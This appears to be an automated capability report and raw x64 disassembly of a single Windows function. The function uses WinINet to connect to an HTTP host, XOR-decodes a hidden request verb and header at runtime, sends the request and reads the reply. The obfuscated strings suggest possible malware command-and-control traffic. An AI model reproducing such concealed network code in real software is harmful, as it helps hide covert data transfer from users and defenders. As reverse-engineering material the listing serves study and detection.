Function at 0x140051f60
Capabilities:
Connect to http server
Create http request
Encode data using xor
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
mov word [rsp + 0x18], r8w
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1120]
mov eax, 0x1220
call fcn.1400a8a20
sub rsp, rax
movaps xmmword [rsp + 0x1210], xmm6
movaps xmmword [rsp + 0x1200], xmm7
mov r13, r9
mov r14, rdx
mov rbx, rcx
mov rdi, qword [rbp + 0x1178]
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
movdqa xmm6, xmmword [0x1400c1190]
movdqu xmmword [rbp - 0x20], xmm6
mov byte [rbp - 0x30], r12b
mov dword [rsp + 0x40], 0x61657473
mov word [rsp + 0x44], 0x6d
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
lea rax, [rsp + 0x40]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140052000
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.14007a5d0
nop
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rcx, qword [rsp + 0x48]
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r15, rax
test rax, rax
jne 0x1400520ec
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], al
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14005209e
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052099
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052791
call fcn.14007c72c
movdqu xmmword [rsp + 0x58], xmm6
mov byte [rsp + 0x48], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x1400520e3
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x1400520de
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005279d
mov rcx, r8
call fcn.14007c72c
mov qword [rdi + 0x10], r12
jmp 0x140052752
mov dword [rbp - 0x70], 0x1388
mov r9d, 4
lea r8, [rbp - 0x70]
mov edx, 2
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov r8d, 0x50
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov rdx, r14
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r12, rax
test rax, rax
jne 0x1400521ee
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
xor esi, esi
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], sil
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400521a0
mov rcx, qword [rsp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005219b
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052791
call fcn.14007c72c
movdqu xmmword [rsp + 0x58], xmm6
mov byte [rsp + 0x48], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x1400521e5
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x1400521e0
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005279d
mov rcx, r8
call fcn.14007c72c
mov qword [rdi + 0x10], rsi
jmp 0x140052752
mov dword [rsp + 0x40], 0x43455a44
movdqa xmm7, xmmword [0x1400c11f0]
movdqa xmm2, xmmword [0x1400c1360]
movdqa xmmword [rsp + 0x70], xmm2
mov eax, dword [0x1400c1100]
movd xmm1, eax
paddb xmm1, xmm2
movd xmm0, dword [rsp + 0x40]
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
xor eax, eax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x80000000
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8, r13
lea rdx, [rsp + 0x40]
mov rcx, r12
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r14, rax
test rax, rax
jne 0x140052271
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140052143
mov dword [rsp + 0x68], 0x1388
mov r9d, 4
lea r8, [rsp + 0x68]
mov edx, 5
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov r9d, 4
lea r8, [rsp + 0x68]
mov edx, 6
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetSetOptionA]
cmp qword [rdi + 0x10], 0
je 0x1400524a0
mov r13, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1400522c3
mov r13, qword [rdi]
movdqa xmm0, xmmword [0x1400c1920]
movdqu xmmword [rbp - 0x68], xmm0
movdqa xmm1, xmmword [0x1400c13e0]
movdqu xmmword [rbp - 0x58], xmm1
mov dword [rbp - 0x48], 0x52505066
mov dword [rbp - 0x44], 0x1485c4a
mov dword [rbp - 0x40], 0x3f4d181c
xor r10d, r10d
mov r9d, 8
lea r11, [rbp - 0x60]
movdqa xmm4, xmmword [0x1400c1240]
mov eax, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm4
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r9 - 1]
lea ecx, [r9 - 2]
lea edx, [r9 - 3]
lea r8d, [r9 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
mov eax, dword [rsp + 0x70]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm4
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r9 + 7]
lea ecx, [r9 + 6]
lea edx, [r9 + 5]
lea r8d, [r9 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
mov eax, dword [rsp + 0x70]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r10d, 0x10
add r9d, 0x10
lea r11, [r11 + 0x10]
cmp r9d, 0x28
jb 0x140052310
cmp r10d, 0x2b
jae 0x140052453
mov eax, r10d
lea rcx, [rbp - 0x68]
add rcx, rax
nop word [rax + rax]
lea eax, [r10 + 0x14]
xor byte [rcx], al
inc r10d
lea rcx, [rcx + 1]
cmp r10d, 0x2b
jb 0x140052440
mov byte [rbp - 0x3d], 0
mov r9, r13
lea r8, [rbp - 0x68]
mov edx, 0x104
lea rcx, [rbp - 0x10]
call fcn.14004ba10
mov r9d, 0xa0000000
mov r8d, 0xffffffff
lea rdx, [rbp - 0x10]
mov rcx, r14
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
test eax, eax
jne 0x1400524a0
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140052143
mov r9, qword [rbp + 0x1170]
nop word [rax + rax]
inc rsi
cmp byte [r9 + rsi], 0
jne 0x1400524b0
mov dword [rsp + 0x20], esi
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x140052547
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
xor esi, esi
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], sil
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400521a0
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005219b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052791
jmp 0x14005219b
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
xor r13d, r13d
mov qword [rbp - 0x80], r13
mov dword [rbp + 0x1180], r13d
mov esi, r13d
lea r9, [rbp + 0x1180]
mov r8d, 0x1000
lea rdx, [rbp + 0x100]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140052625
mov eax, dword [rbp + 0x1180]
test eax, eax
je 0x1400525d0
mov r9d, eax
lea r8, [rbp + 0x100]
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0x70]
call fcn.14007b440
add esi, dword [rbp + 0x1180]
lea r9, [rbp + 0x1180]
mov r8d, 0x1000
lea rdx, [rbp + 0x100]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140052586
test esi, esi
je 0x140052625
mov byte [rbp + 0x1160], 0
mov rax, qword [rsp + 0x78]
cmp rax, qword [rbp - 0x80]
je 0x1400525f3
mov byte [rax], 0
inc rax
mov qword [rsp + 0x78], rax
jmp 0x14005260c
lea r8, [rbp + 0x1160]
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.14007b8d0
mov rax, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
sub rax, rsi
mov r8, rax
mov rdx, rsi
lea rcx, [rbp - 0x30]
call fcn.140078ad0
jmp 0x14005262a
mov rsi, qword [rsp + 0x70]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x68]
call fcn.140078080
mov rdx, rax
mov rcx, rbx
call fcn.140051e30
nop
test rsi, rsi
je 0x140052698
mov rdx, qword [rbp - 0x80]
sub rdx, rsi
mov rax, rsi
cmp rdx, 0x1000
jb 0x14005268f
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400527a3
mov rcx, rsi
call fcn.14007c72c
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400526d5
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400526d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400527a9
call fcn.14007c72c
movdqu xmmword [rsp + 0x58], xmm6
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140052718
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052712
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005278b
call fcn.14007c72c
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14005274e
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140052749
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140052797
mov rcx, r8
call fcn.14007c72c
mov qword [rdi + 0x10], r13
mov byte [rdi], 0
mov rax, rbx
mov qword [rdi + 0x18], 0xf
lea r11, [rsp + 0x1220]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140092180
nop
call fcn.140092180
nop
call fcn.140092180
int3
call fcn.140092180
nop
call fcn.140092180
nop
call fcn.140092180
int3